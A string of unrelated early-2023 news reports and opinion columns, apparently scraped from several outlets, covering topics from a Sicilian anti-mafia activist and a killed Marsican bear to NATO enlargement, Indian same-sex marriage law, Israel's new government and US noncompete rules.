Journalists covering the aftermath of his arrest, which occurred while he was visiting a health clinic in Palermo, witnessed the culture of 'omerta,' or the protective silence that surrounds the Mafia.

"The mafia bases all its strength on fear, and so people are scared of exposing themselves.

"They don't want to be mixed up in it, they don't want to risk anything and prefer to turn away -- without realising that this is something that affects everybody," Cimarosa said.

His father Lorenzo had married into the Messina Denaro family, marrying the mob boss's cousin -- Cimarosa's mother -- and "helping" them, including "supporting them financially", Cimarosa said.

But after being arrested, Lorenzo agreed to work with the authorities, and "broke a wall of omerta that until then was very strong".

Threats

For Cimarosa, his mother and brother, the betrayal -- as his father's collaboration was seen -- created a "stigma for me, for my family, that has been difficult to shake off".

They declined government protection, with Cimarosa insisting he would not give up his identity "because of a criminal who I neither know or have ever met".

"We never received explicit threats. But some things happened that made me think they could be messages," he said.

"Years ago, I found one of my horses dead... and then shortly after my father's death his tomb was destroyed twice."

He admits to thinking "practically every day" about leaving Sicily.

"However, I stayed because I believe that this is my mission. Because it would have been too easy to say what I said far away," he said.

"My words have more value if I say them from Castelvetrano."

 AFP / Wanted in Rome

PH: Anti-mafia activist Giuseppe Cimarosa, who is related to arrested mafia boss Matteo Messina Denaro trough his mother, is pictured at his stud farm in Castelvetrano, Sicily, on January 20, 2023. The fight against the Sicilian mafia involves educating young people to change the "mentalities" governing a society that has lived for decades in the shadow of Cosa Nostra, according to Giuseppe Cimarosa, an anti-mafia activist who has the distinction of being a relative of the boss arrested last January 16, 2023. (Photo by Miguel MEDINA / AFP)
Juan Carrito was famous for playful nature and raids in search of food.

A wild bear known affectionately as Juan Carrito died after being struck by a car in Italy's central Abruzzo region on Monday night.

News of the rare animal's death was confirmed by the National Park of Abruzzo, Lazio and Molise (PNALM), a vast protected area home to Italy's critically endangered Marsican bears.

The four-year-old bear was run over by an Opel Corsa which was destroyed on impact however the car's driver, a local woman, and another passenger, were unharmed.

The incident occurred on a highway leading to Castel Di Sangro, in the L'Aquila area near the Roccaraso tunnel, with footage on social media showing the last breaths of the majestic 150-kg animal.

Juan Carrito died after being hit by a car

Juan Carrito received emergency medical aid, both on the spot and in a nearby specialist centre, but died from the trauma shortly afterwards.

The accident happened "in a stretch where there were fences and everything needed to protect these animals", said the park's director Luciano Sammarone, adding: "I am shocked, it is as if a family member has died".

The president of the Abruzzo Region, Marco Marsilio, said he learnt of the news "with great pain", describing Juan Carrito as "the most famous and beloved Marsican bear in Abruzzo."

Marsilio added: "His loss saddens not only Abruzzo but the whole world that has discovered Abruzzo and the beauty of bears through the numerous videos that showed him as a cub with his brothers and mother Amarena".

Juan Carrito was famed for his appetite and made international headlines two years ago after breaking into a bakery for a late-night feast of biscuits.

The animal's increasingly daring forays into urban areas in search of food prompted park authorities to relocate him - twice - to a remote area of the mountains.

However Juan Carrito surprised everyone by making the 150-km trek back to his stomping ground of Roccaraso.

Tracked by a radio collar, the Marsican bear was noted for his lack of fear of humans and his playful nature towards dogs.

Juan Carrito, orso abruzzese amico degli abitanti e giocherellone addirittura con i cani del posto e stato investito e sta lottando tra la vita e la morte. Per noi abruzzesi e una mascotte a cui e impossibile non voler bene. Ti prego Juan,resisti #JuanCarrito #Abruzzo pic.twitter.com/kjYcsgoZcb  Nicola (@Nicola6140) January 23, 2023

Aside from the region's sentimental attachment to Juan Carrito, his loss is a further blow to the critically endangered Marsican bear, a subspecies of the brown bear.

There are only about 50 of the animals left in existence, compared to 100 in 1980.

The main threat to the bears' survival is man, with direct and indirect risks including poaching, poisoning, deforestation, cattle grazing and road accidents.

Also known as the Apennine brown bear (Ursus arctos marsicanus), the animal is the largest land creature in the wild in Italy.
Arena to remain shut to visitors until 30 January.

Verona's Arena is closed to the public after the landmark site was damaged when the base of a huge steel star fell into the Roman amphitheatre on Monday.

An investigation is underway into the incident which occurred during the dismantling of the 78-ton comet star - part of Verona's annual Christmas decorations - in the adjacent Piazza Bra.

Some steps in the cavea - where the audience sits during summer concerts - were damaged when the base of the installation become dislodged and fell suddenly into the site.

Verona's Arena remains closed to the public. Photo L'Arena.

The damage is being assessed by experts and the site will remain closed to visitors until 30 January, reports state broadcaster RAI News.

The entire monument is currently sealed off as prosecutors launch an investigation into the incident which occurred on the day the arena is closed to the public.

The gigantic steel structure, 70 metres high and weighing 78 tons, was designed by architect Rinaldo Olivieri and has been set up at the Arena every Christmas since 1984.

Italy's culture undersecretary Vittorio Sgarbi told local newspaper L'Arena that the star installation was "an historic mistake" that "should no longer be authorised".

Photo credit: Fabio Michele Capelli / Shutterstock.com.






The factory that Ford operates in Saarlouis, Germany, may not stop building cars in 2025 after all. While the firm plans to stop car production there halfway through the 2020s, it's reportedly talking to several parties about taking over the plant, including Chinese carmaker BYD.

Anonymous sources told The Wall Street Journal that a team of top Ford officials will travel to China this month to discuss the terms of a potential sale. There's no word yet on how much Ford is asking for the facility, and neither party has commented on the report.

The publication warns that negotiations are ongoing and that the deal may not be finalized. However, if BYD doesn't bite, Ford reportedly plans to try selling the plant to someone else. Turnkey car factories don't come up for sale on a regular basis, and the Blue Oval has about 15 interested parties including manufacturers and groups of investors who would presumably purchase the plant in a bid to rent or lease it.

Ford opened the Saarlouis plant in 1970; the facility has built emblematic cars like the Escort, the Capri, and the Fiesta. The only model currently rolling off the assembly line is the Focus. About 4,600 employees still work there, but production is scheduled to end in 2025 without a direct successor. Ford's decision to idle the plant drew a dark cloud of disapproval from German unions, and officials claim that the company pledged to keep up to 700 people employed after car production ends in 2025 by using the plant to build unspecified components.

BYD has already established a foothold in Europe, though it's far from being a household name. In 2017, it opened a factory in Komarom, Hungary, that builds electric buses and carries out research and development activities. It's too early to tell what it would do with Ford's Saarlouis plant; it could build cars, buses, or something else entirely.
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In its rush to secure and build Americas electric vehicle and battery-supply chains, the US government is reaching far and wide, splashing out billions in commitments. But the desperation is leading it astray. Wp Get the full experience. Choose your plan ArrowRight Last week, the State Department quietly released a Memorandum of Understanding it signed in December to support a commitment between the Democratic Republic of Congo, or the DRC, and Zambia to build a productive supply chain, from mine to assembly line. The agreement, in theory, is meant to drive investment and ensure the private sector has a level playing field in projects.

Its turning to Africa for obvious reasons: An abundance of raw materials. Almost 70% of the worlds cobalt  a key ingredient in certain types of batteries  is mined in the DRC, where nearly half of the worlds reserves are located. Zambia is one of the largest producers of copper, used for other important components. The US also imports copper from the DRC, the third-largest producer of the metal.

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However, the US government conveniently failed to mention that cobalt from the Congo has been at the center of child labor abuses, as the State Departments country report states. The press release announcing the MoU left it at corruption, noting that it was committing to respect international standards to prevent, detect, and take legal action to fight corruption throughout this process.

The move is hypocritical. Now that the US needs the cobalt and copper as part of its supply-chain push, it is willing to go into business and urge private investors to work in the DRC, overlooking one of the most significant issues there.

Whats worse, it comes after strong criticism around Chinas alleged infractions. The US Labor Department put solar-grade polysilicon from Xinjiang province on a 2022 list(1) of goods produced by child or forced labor  alongside cobalt from the DRC. In the report, US Labor Secretary Martin Walsh called the abuses in the Chinese region egregious, systemic and ongoing and said that the goods produced under these conditions have no place in the US economy.

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The US then went on to ban goods from the western Chinese province and was willing to take strong measures  all because it saw the country as a strategic threat. In 2021, a tabled amendment to the US Innovation and Competition Act (titled Securing United States Supply Chains of Strategic Metals and Minerals) expressed concern around Chinese control.

That doesnt seem to apply to the DRC  an unstable country in a volatile region. An insurgency in the eastern part has displaced over 450,000 people. That makes cobalt the blood diamond equivalent in batteries.

The US has, for several years, committed foreign aid to the DRC for economic support and health programs of around $250 million to as much as around $300 million annually. It renewed its development cooperation agreement that ensures $1.6 billion dollars over the next five years. All noble, but by no means a justifiable path to secure cobalt and copper resources and boost industrialization there. Putting terms and conditions on the aid would be one place to start.

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The abuses associated with cobalt are not peripheral issues. Mercedes-Benz AG, for instance, goes to great lengths to disclose its use to ensure transparency. The carmaker assesses and audits its battery-cell suppliers to prevent child and forced labor. Agreements for procuring these parts require disclosure from the entire cobalt supply chain. Even Tesla Inc. Chief Executive Officer Elon Musk, who came under heavy criticism a few years ago for use of the battery material in his companys vehicles, has walked away from the crucial element altogether.

Trying to secure cobalt supplies and elevating its importance, along with encouraging private investment to go into the DRC, is misguided.

The approach highlights the deeper flaws with the USs botched attempt at industrial policy. Its been largely focused on its foreign affairs, not on whats actually possible, or helpful, domestically. If it does want to sign up for the goods it now needs, then it should take a stand on who it will do business with, and on what terms.

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Whats more, cobalts days may be numbered. With all the complex supply issues around it, companies are increasingly shifting away from the element and the types of batteries it goes into. The use of lithium iron phosphate has continued to rise sharply, as manufacturers scale up the safer chemistry which is cleaner to produce, with almost 30% lower emissions. Its part of the reason why demand for cobalt in powerpacks is expected to fall sharply over the next 10 years. Thats why its hard to imagine companies doubling-down.

The State Departments MoU states that the commitment is for the greater good of climate change and will go toward limiting temperature increases to 1.5 degrees Celsius, which is helping the international community reduce emissions. Commendable motives, however, no-one has even begun to question what the multi-billion-dollar factory-building boom in the US to produce batteries will mean for greenhouse gases. (Ill get to it in a future column). Research has shown that cobalt-containing cathodes are the biggest contributors. It may be worthwhile for the US to invest in improving viable, cleaner technologies.

Its easy to lash out and walk a higher moral ground with China, or Elon Musk and his large, private sector peers. Tougher to be introspective, isnt it?

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More From Bloomberg Opinion:

 The Holes in Americas China-Style EV Policy: Anjani Trivedi

 Climate Fight Arises as a Geopolitical Power Play: Liam Denning

 Glencores Great Game Is Avoiding U.S. Sanctions: Chris Bryant

(1) The Bureau of International Labor Affairs, or ILAB, maintains a list of goods and their source countries which it has reason to believe are produced by child labor or forced labor in violation of international standards, as required under the Trafficking Victims Protection Reauthorization Act (TVPRA) of 2005 and subsequent reauthorizations. ILAB maintains the List primarily to raise public awareness about forced labor and child labor around the world and to promote efforts to combat them; it is not intended to be punitive, but rather to serve as a catalyst for more strategic and focused coordination and collaboration among those working to address these problems.

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This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Anjani Trivedi is a Bloomberg Opinion columnist. She covers industrials including policies and firms in the machinery, automobile, electric vehicle and battery sectors across Asia Pacific. Previously, she was a columnist for the Wall Street Journals Heard on the Street and a finance & markets reporter for the paper. Prior to that, she was an investment banker in New York and London

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When Italys national airline Alitalia stopped flying in 2021 after decades of losses and numerous brushes with bankruptcy, it was the end of an era. The green, red and white-striped flag carrier favored by popes and glitterati like Sophia Loren was replaced by state-backed ITA Airways, with a fraction of Alitalias fleet and staff and a simplified network. Competing with budget carriers in a crowded market  and amid a global pandemic  proved tough, however. Despite a forecast for years of continued losses for ITA, Italys new government says its finally succeeded where others have failed: Its found a buyer, Deutsche Lufthansa AG. Yet to be seen is what changes the German behemoth has in mind, whether ITA will retain any Italian flair, and if Rome will really cede control.

1. What happened to Alitalia?

The company began flying just after World War II in 1947 under state ownership, with four G-12 airplanes built by Fiat and rented from the Italian Air Force, according to a history in Boeings Aero magazine. Pope Paul VI was the first of many popes who flew it around the world. While the company always struggled to make a profit, the real decline started in the late 1990s, when deregulation led to the arrival of low-cost competitors. Alitalia failed to either scale up its lucrative long-haul network or pare down like a budget carrier. As a result it lost market share both in domestic and international traffic to rivals. Successive governments failed to find a long-term solution or buyer for Alitalia, leading to bankruptcy in 2008. Air France became Alitalias biggest shareholder after buying a 25% stake for 323 million ($349 million today) in 2009, only to see most of its investment wiped out. Etihad Airways PJSC tried its luck a few years later with a 49% stake in Alitalia to funnel more passengers through its Gulf hub, but that plan, too, fell through. Alitalia filed for bankruptcy again in 2017. The brand officially ceased operations in late 2021, when it was reborn as ITA. It operated only 52 aircraft, down from about 160 Alitalia had in the mid-1990s. According to its own business plan, ITA didnt expect to earn a profit before 2024. Then-Prime Minister Mario Draghi put it up for sale again in February.

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2. What is Lufthansas plan?

Europes biggest airline said Jan. 18 that it aims to buy as much as 40% of ITA in an initial step, with the rest possible at a later date. It has been eyeing Alitalia for years. A deal would allow the company to expand in a major market while charting a course for Rome to finally rid itself of a notoriously unprofitable asset. Lufthansa also would gain access to more trans-Atlantic routes while preventing a rival from building up a base in northern Italy that might draw passengers away.

3. Whats Lufthansas track record?

Lufthansa has swept up troubled national airlines before with Austrian Airlines, Brussels Airlines of Belgium and Switzerlands Swiss International Air Lines all part of its stable. Lufthansas willingness to let its subsidiaries outside of Germany maintain their separate branding makes it the go-to choice for politicians who like to pretend that they havent sold their national airline to foreigners. While the airlines havent always performed well financially  Austrian, for example, managed an earnings margin of barely 1% in 2019, the year before the pandemic  theyve served to protect Lufthansas core German market and feed traffic into the lucrative Frankfurt and Munich transatlantic hubs. Dominating European business travel is Lufthansas overriding strategy.

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4. Whats the outlook for competition?

The European Commission would have to approve any takeover. It could try and ensure consumers dont suffer by ordering Lufthansa to surrender takeoff and landing slots at its Frankfurt and Munich hubs or take other measures to allow new entrants to join the market. Its unclear whether thered be takers, however, with two of Europes biggest low-cost airlines, Ryanair and EasyJet, downsizing in Germany due to the countrys relatively high airport fees. On routes where Lufthansa and its subsidiaries have taken over from failed carriers, such as on the Frankfurt to Berlin stretch that was formerly operated by defunct Air Berlin, prices have risen. While passengers notice the pinch, its fiendishly difficult to prove that ticket pricing is unfair, so theres little competition regulators can do about it.

5. Will the Italian government keep a hand in?

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The government of Prime Minister Giorgia Meloni has been keen to retain a majority stake in the initial phase of the sale to oversee the transition and show its commitment to the future of the company  and the employment level. While Lufthansa has the option to purchase 100% of the company, Italy will still be able to have a say in the business given the company operates in a strategic sector.

6. What do Italians think?

Italians are long accustomed to the fact that the national airline is a money-losing venture, to the point that its almost part of the culture. While selling it to a German company could upset some who believe in the symbolic importance of owning a national carrier, the relief of not having to continue to open their pockets to keep it flying is expected to prevail.

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Indias highest court will hear arguments on whether to legalize same-sex marriage on March 13, a landmark for the country of 1.4 billion people and for the global movement for LGBTQ rights. A ruling that finds gay marriages are allowed under Indias constitution would run counter to the socially conservative sentiment of Prime Minister Narendra Modis Hindu-nationalist Bharatiya Janata Party, as well as wide swaths of the countrys Muslim community. But younger Indians tend to be more accepting.

1. Whats the legal situation now?

In India, marriage is governed by different laws tailored to the countrys religious groups; All limit marriage to male-female couples. But legal rights for LGBTQ people in India have been expanding over the past decade, led almost entirely by the Supreme Court.

 In 2014, it laid the groundwork by giving legal recognition to non-binary or transgender persons as a third gender

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 In 2017, it strengthened the right to privacy, and also recognized sexual orientation as an essential attribute of an individuals privacy and dignity

 In 2018, it decriminalized homosexual sex  overturning a British colonial-era law  and expanded constitutional rights for LGBTQ people.

 Last year, the court instituted protections for what it called atypical families. Its a broad category that includes, for example, single parents, blended families or kinship relationships  and same-sex couples. The court said that such non-traditional manifestations of families are equally deserving of benefits under various social welfare legislation.

2. Where does the government stand?

The ruling party, the BJP, opposed broadening the Hindu Marriage Act to include same-sex marriages in 2020, arguing that such unions are out of step with Indian values and culture. The Supreme Court has asked the government to officially weigh in on the current case; as of mid-January it had yet to do so. Sushil Modi, a BJP lawmaker, told Parliament in December that a question of such social significance shouldnt be left to a couple of judges. He has urged the government to strongly argue against legal sanction for gay marriages. In January the Supreme Court said the government was opposing a gay judges nomination in part because of his sexual orientation. The government didnt immediately comment.

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3. And what about religious leaders?

Leaders of Indias most prominent religious groups either dont support LGBTQ rights or avoided commenting. But among the Hindu majority  roughly 80% of the country  theres been a gradual shift in how religious leaders engage with the community.

 In 2018, the Rashtriya Swayamsevak Sangh (RSS), a Hindu-nationalist group, agreed with the top court ruling decriminalizing gay sex but maintained that same-sex relationships are neither natural nor desirable. This year, the groups head, Mohan Bhagwat, backed LGBTQ rights, saying such people have always been there and are a part of the society. But he stopped short of advocating for same-sex marriages.

 The All India Muslim Personal Law Board (AIMPLB), a non-governmental body that works to protect and propagate Muslim personal laws, such as those dealing with family issues, opposes homosexuality, terming it immoral. (About 15% of Indians are Muslim.)

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 Some groups of the much smaller Christian population had argued against legalizing homosexuality in 2018 and said that same-sex marriages would become social experiments with unpredictable outcome.

4. For LGBTQ people in India, is it easy to be out?

It depends. While they are no longer at the risk of facing criminal prosecution, there are no national anti-discrimination laws covering sexual orientation in employment or housing, though the constitution does include a general guarantee of equal rights to all. Younger people are more open and willing to talk about sexuality and sexual identity. Most big cities host LGBTQ Pride parades or other events and tend to be much more open than many rural places. Nearly 60% of the urban population is comfortable with LGBTQ persons being open about their sexual orientation or gender identity, according to the Ipsos 2021 LGBTQ+ Pride survey. More people (44%) said they supported same-sex marriage than public displays of affection between LGBTQ people (39%), such as holding hands or kissing. In rural parts of the country though, where roughly two-thirds of the countrys population lives, being gay can still be considered taboo. LGBTQ individuals still face societal discrimination, being shunned by the community and their family, and harassment or violence, sometimes even at the hands of the police. Theres also the fear of being subjected to corrective treatment.

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5. Whats before the court?

The Supreme Court agreed to hear the petition of two same-sex couples in November. More couples have joined since, and the court has also absorbed similar cases from some states challenging different religious personal statutes. That means the court will address whether gay marriage will be allowed under the Hindu Marriage Act, the Indian Christian Marriage Act, the Parsi Marriage and Divorce Act, and Muslim personal laws (which are largely uncodified) in addition to the secular code  Special Marriage Act  which governs unions between interfaith couples, non-believers and others. Some legal experts think the court might try to find a way to allow same-sex marriage under the secular law without expanding the religious codes. The case is scheduled to be heard on March 13, with no timeline for a decision. The 2018 decriminalization decision was handed down two months after the hearings, but that was seen as surprisingly quick.

6. How does India compare with other countries?

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At the end of 2022, same-sex marriage was legal in more than 30 countries, mostly in Western Europe and the Americas. In Asia, only one jurisdiction  Taiwan  allows it, and attitudes and laws elsewhere are split. Hong Kong doesnt allow same-sex marriage at home but will grant dependent visas to same-sex spouses of expatriate workers, for example. Thailand is inching toward recognition for civil unions. Other places have become more restrictive: Indonesia, which doesnt recognize gay marriage, recently banned all extra-marital sex; Singapores parliament passed a law lifting a ban on sex between men but has blocked a path toward marriage equality. If Indias court sanctions same-sex marriage, the country would supplant the US as the biggest democracy with such rights for LGBTQ couples.

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Since jointly applying to join the North Atlantic Treaty Organization last spring, Sweden and Finland have received near-unanimous approval from the alliances 30 member states. Yet their admission is being held up by a single recalcitrant country making specious demands: Turkey. NATO needs to put a stop to this dispute and welcome its newest members unreservedly.

In his latest fit of pique, Turkish President Recep Tayyip Erdogan said Monday that, due to the recent burning of a copy of the Koran by a Danish far-right activist near the Turkish embassy in Stockholm, the Nordic countries will not see any support from us on the NATO issue. Because enlarging the alliance requires unanimous agreement, Turkey seems to think it has leverage to extort fellow member states. In exchange for accepting the Swedish and Finnish membership bids, Erdogan has issued a range of demands  most of them directed at Sweden, which Turkey has long criticized for giving shelter to Kurdish separatists. In particular, Turkey wants Sweden to restrict the activities of political groups it accuses of being aligned with Kurdish militants, including the Kurdistan Workers Party, a terrorist organization.

Swedens center-right government has sought to placate Erdogan by lifting an arms embargo against Turkey, distancing itself from Kurdish fighters in Syria and pledging to pass tougher anti-terrorism laws. The countrys Supreme Court, however, rejected Turkeys request that Sweden deport a journalist linked to exiled Turkish cleric Fethullah Gulen, a longtime nemesis of Erdogans. Earlier this month, Prime Minister Ulf Kristersson ruled out any further concessions, saying the Turks want things we cannot or do not want to give them. Kristersson later described negotiations as going very well, but reiterated that Sweden wouldnt cave to Turkeys extradition demands.

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As a result, the enlargement process has stalled. Though large majorities in Finland and Sweden support joining NATO, that enthusiasm has limits: Nearly 8 in 10 Swedes oppose compromising the countrys legal principles in order to win Turkeys approval. And given Erdogans need to maintain support among nationalist voters ahead of a presidential election this June, the Turkish leader has little incentive to back down. In response to last weekends Koran burning, Turkey canceled a planned trip to Ankara by Swedens defense minister. The leader of Swedens parliament was also barred from visiting after pro-Kurdish activists hung an effigy of Erdogan during a demonstration in Stockholm.

Turkeys intransigence doesnt just jeopardize the Nordic countries membership bids; it puts Europes wider security at risk. Further delays in adding Finland and Sweden will deprive NATO of the benefit of the two nations considerable military and intelligence capabilities at a time when the alliances resources are stretched from assisting Ukraine. Having abandoned neutrality to join NATO but lacking the security guarantees that come with full membership, the Finns and Swedes are now uniquely vulnerable to Russian coercion, possibly in the form of attacks on critical infrastructure  which would escalate tensions between Russia and the West and heighten the danger of miscalculation.

The US and Europe need to break this impasse. President Joe Biden should make clear that while Turkey has a right to voice concerns about Kurdish terrorism, it should not come at the expense of efforts to strengthen NATO. Negotiations over the extradition of Turkish nationals should be handled directly with Sweden, distinct from the NATO enlargement process. Alliance leaders should press Erdogan to approve the Nordic countries bid no later than May 18, which would be a full year since they applied for membership. If Turkey resists, the US Congress should respond by halting the sale of F-16 fighter jets to Ankara. NATO should reduce Turkeys participation in joint exercises and sideline Erdogan at the NATO leaders summit in July. Expulsion from the alliance  an unprecedented step  should also be on the table.

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Bringing Finland and Sweden into NATO is critical to deterring Vladimir Putin and strengthening Europes defenses against future threats. The message should be clear: An alliance member that willfully harms the security of the group isnt an ally at all.

More From Bloomberg Opinion:

 Turkeys 2023 Election Is One to Watch: Bobby Ghosh

 The West Should Send Ukraine Bigger Tanks: Andreas Kluth

 Finland and Sweden Will Make NATO Stronger: Editorial

The Editors are members of the Bloomberg Opinion editorial board.

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Benjamin Netanyahu was sworn in Dec. 29 for a sixth time as Israels prime minister, in a right-wing coalition in which his Likud Party is the most moderate member. Once-fringe, far-right politicians are now a key part of the government. Though Netanyahu has pledged to rein in extremism, critics of the government are raising alarms that Israels democracy is in danger. There are also risks that the new governments actions will deepen tensions with Palestinians and strain relations with Israels neighbors and allies, including the US.

1. Who are the most controversial players in the government?

 Itamar Ben Gvir. Named national security minister, Ben Gvir is the leader of the nationalist Jewish Power party. As a teenager, he led the youth wing of the Kach party, which campaigned for the expulsion of Arabs from Israel and the occupied Palestinian territories. Kach was later banned from politics and designated a terrorist organization by Israel and the US. Ben Gvir was spared from a prohibition from political office because his participation in the party occurred when he was underage, but he says his involvement did result in his being barred from military service. He went on to train as a lawyer, and in 2021 he was elected to the Knesset, representing Jewish Power. In his 2022 campaign, he advocated the deportation of citizens who are disloyal to the state.

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 Bezalel Smotrich. The new finance minister is the leader of the Religious Zionism party. An Orthodox Jew, hes a lawyer and a vociferous supporter of Jewish settlement in the West Bank, territory conquered by Israel in 1967 that the Palestinians hope to make part of a future independent state. Smotrich also has a junior position in the Defense Ministry that gives him some control over the settlements. He has defined himself as a homophobe, and in 2006 he helped organize a protest against the gay pride parade in Jerusalem.

2. Who is raising alarms about Israels democracy?

Business leaders, retired military officers, educators, opposition politicians and jurists have signed letters and taken part in mass street demonstrations. In late January, Moshe Hazan, a voting member of the Bank of Israels monetary committee, resigned to become more involved in political activity. In a newspaper interview, he said the governments policies will put Israels democracy and economy in danger. In addition, Israels ambassador to Canada, Ronen Hoffman, quit over differences with the government.

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3. What are their concerns?

A bill proposed by Justice Minister Yariv Levin, a member of Netanyahus Likud party, aims to weaken the independence of Israels High Court, which in recent decades has played an active role protecting civil rights, including those of Palestinians, and the rights of minorities in Israel, including the LGBTQ community. The bill would allow the Knesset to override decisions of the court with a simple majority vote. And it would make members of the Knesset from the government coalition a majority on the committee that appoints the courts judges. Other changes planned in the legal system could eventually lead to the dropping of bribery charges against Netanyahu.

4. What are the flashpoints with the Palestinians?

 Police policy. Ben Gvirs appointment came with expanded authority under a new law to direct general policy over police. That includes the quasi-military border police who patrol the occupied territories alongside soldiers. Since taking office, he has ordered police to remove Palestinian flags from public spaces and has said police must arrest protesters who block roads.

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 Settlements. Ben Gvir and Smotrich, both settlers themselves, support the expansion of settlements, which are a source of strife between Israelis and Palestinians. More than that, the two advocate annexing existing settlements to Israel. That ambition is included in the government coalition agreement though without a definite timeline. Annexing Israeli settlements, which Netanyahu proposed in 2020, would make any future Palestinian state a disjointed patchwork of enclaves, challenging its viability by impeding the development of infrastructure and the movement of people and goods. The US, Israels most important ally, has strongly condemned annexation as an impediment to resolving the Israeli-Palestinian conflict.

 Jerusalem. Under long-standing arrangements between Israel and neighboring Jordan, the latter maintains control over the site in Jerusalem revered by Jews as the Temple Mount and by Muslims as the Noble Sanctuary. Once the seat of the biblical temple, today it houses the Al-Aqsa mosque. The rules permit Jews to visit but not pray there, and violations have led to clashes between Israelis and Palestinians. After being named a minister, Ben Gvir made a high-profile visit to the site. A similar visit in 2000 by Ariel Sharon, then an Israeli opposition leader, helped sparked a four-year uprising among Palestinians.

 Revenue. The Israeli government has withheld tens of millions of dollars in tax revenue from the Palestinian Authority, the body responsible for limited Palestinian self-rule; frozen construction by Palestinians in part of the West Bank; and canceled VIP travel permits for a number of Palestinian officials. This was in retaliation for the authority seeking a judicial review of Israels occupation by the United Nations.

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5. How has the outside world reacted?

US President Joe Biden called Netanyahu my friend for decades when the government was sworn in. He noted common interests, including combating the threat of Iran, but also said the US would continue supporting the creation of a Palestinian state alongside the Israeli one to resolve the conflict between the two peoples. US Secretary of State Antony Blinken had said in December that a new government would be judged not by its personalities but its policies, and cautioned against moves to further marginalize Palestinians or diminish their horizon for hope. Jordans King Abdullah II warned that hes prepared to get into a conflict if Israel changes the status of the religious sites in Jerusalem that are under his countrys control. When four Arab states  the United Arab Emirates, Bahrain, Morocco and Sudan  began normalizing ties with Israel in 2020, it was clear that their relations with Israel were no longer strictly bound to the Palestinian cause. Still, tensions on that front are likely to color those ties. After Ben Gvirs Temple Mount gambit, the UAE postponed a planned visit by Netanyahu, citing technical reasons.

--With assistance from Daniel Avis and Marissa Newman.

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Contractual clauses barring workers from competing with their former employers have existed for centuries, with the first known legal challenge to one going back to 1414 London. The provisions have become increasingly common in the US, with an estimated 20% of workers  roughly 30 million Americans  subject to them today. Employers argue that noncompetes help protect their investments in employees. Critics say they harm workers. The US Federal Trade Commission has proposed prohibiting them altogether.

1. What is a noncompete clause?

Its a provision that prohibits employees, during or after their employment, from working for an employers competitors or from setting up a competitive enterprise themselves. Typically, the prohibition is confined to a period of time after employment ends. It also may be limited to a geographic area.

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2. Who do noncompetes apply to?

Noncompetes are most common in the technology, finance and health-care industries, but they have been used with all kinds of workers, including hairdressers, security guards and fast food employees. Several states, including California and Oklahoma, bar noncompetes. Others, including Washington, Oregon and Illinois, ban them for low-wage or hourly workers.

3. What do advocates of noncompetes say?

Those in favor of noncompetes argue that they protect a companys investments in worker training, in terms of both time and money, and that they help ensure that employees cant take confidential information or trade secrets on to a business rival. The Chamber of Commerce and other business groups oppose the FTCs proposal to prohibit the clauses, saying that would be beyond the scope of the agencys authority. The Chamber of Commerce, the nations biggest business lobby, has threatened to sue if the agency moves forward with a ban. The organizations president, Suzanne Clark, in an essay published by the Wall Street Journal, decried the FTCs efforts to act on noncompete clauses without congressional authorization. She said such a move would mean the agency could regulate or ban any employment arrangement arbitrarily.

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4. Why does the FTC want to ban noncompetes?

The FTC under chair Lina Khan argues that noncompetes reduce worker mobility, leading to reduced wages for all workers, not just those with noncompetes in their contracts. It calculates that a ban could add almost $300 billion a year to nationwide wages. The agency argues that clauses also can cut down on the creation of new jobs because startups and other new firms cant hire workers subject to noncompetes. Advocates of a ban say that employers can safeguard confidential information through the use of non-disclosure agreements or trade secret laws, two avenues that wouldnt have as significant an economic burden as noncompetes. The FTCs proposed rule would require companies to nullify existing noncompete clauses for employees within six months. It would allow noncompetes to prevent a company owner or partner who has sold out of a business from immediately re-entering the field.

5. What happens next?

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The FTC will accept public comments on its proposal through March 20. It will review them before deciding whether to move forward with a final version. The last time the FTC issued a rule defining an unfair method of competition was in 1968, known as the Men and Boys Tailored Clothing Rule.

 FTC Chair Lina Khan argues for the ban in an oped in the New York Times.

 The FTCs factsheet on its proposed ban.

 Law Professor Alan Meese argues against banning noncompetes in the Wake Forest Law Review.

 A report by the US Treasury Department contains an appendix on the legal history of noncompete clauses.

(An earlier version of this story corrected the type of rule the FTC last issued in 1968 in section 5.)

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Heavily armed FBI agents led the 21-year-old man out of a family residence in Dighton, Mass. He could make an initial court appearance Friday in a case that has transfixed much of official Washington for the past week.
Spencer Black served for 26 years in the state Legislature. He was chair of the Assembly Natural Resources Committee and the Assembly Democratic leader. Since leaving the Legislature, Black has been vice president for conservation for the national Sierra Club and adjunct professor of planning at UW-Madison.

Share your opinion on this topic by sending a letter to the editor to tctvoice@madison.com. Include your full name, hometown and phone number. Your name and town will be published. The phone number is for verification purposes only. Please keep your letter to 250 words or less.
Zip Co co-founder Peter Gray has argued the buy now, pay later (BNPL) company can be resilient if the United States goes into recession, even as the market continues to worry about how quickly the embattled fintech is burning through cash.

In a quarterly update on Tuesday, Zip said its key US business had made a profit by the companys preferred measure in late 2022, amid strong revenue growth and a slide in its bad debts.

Analysts said the improvement in the US was welcome for the companys hopes of moving into profitability. But they also highlighted a decline in Zips available cash and liquidity, which must support the company until it is profitable. Zip shares tumbled 16 per cent to 70c, reversing sharp gains from earlier in the week.

Zip co-founder and global chief operating officer Peter Gray. Credit: Rhett Wyman.

Amid market worries about the potential for a US recession, Gray argued the turnaround in its bad loans showed the flexibility of Zips model, after it cut back on higher-risk lending last year. Gray maintained Zip could be resilient to weaker economic conditions, including a potential recession, as it seeks to compete with credit cards as a payment method.
Spowers & Syme may sound like a firm of accountants, but were dealing with an entirely different order of creativity. Ethel Spowers (1890-1947), and Eveline Syme (1888-1961), were groundbreaking Australian artists at a time when women found it difficult to make any impression on an art scene dominated by self-confident and self-serving males.

A touring exhibition put together by the National Gallery of Australia, Spowers & Syme is showing at the S.H. Ervin Gallery on the fourth stage of a lengthy journey, before winding up in Brisbane later this year. As the display is mostly works on paper, the exhibited items will go into extended storage when the tour concludes, so its worth catching the show while you can.

When a survey from late 2019 revealed that women were now ahead of men in most categories of artistic representation in Australia, the one blemish was in the number of works exhibited in public collections, which is a function of history, not institutional will.

From left, Ethel Spowers, The Skaters, c. 1932 (detail) and Eveline Syme, Skating, 1929 (detail). Credit: NGA

Its a useful exercise to seek out works by neglected female artists but museums need to judge dispassionately in terms of what they collect and exhibit. When a gallery commits to a 50-50 representation, as both the NGA and the Art Gallery of NSW have done, this is a simple matter in the contemporary field (where women are in the ascendancy) but becomes progressively more difficult as we move back in time as there arent enough female artists to fill the quotas. Its not a function of present-day chauvinism, but of past chauvinism which we are powerless to change.
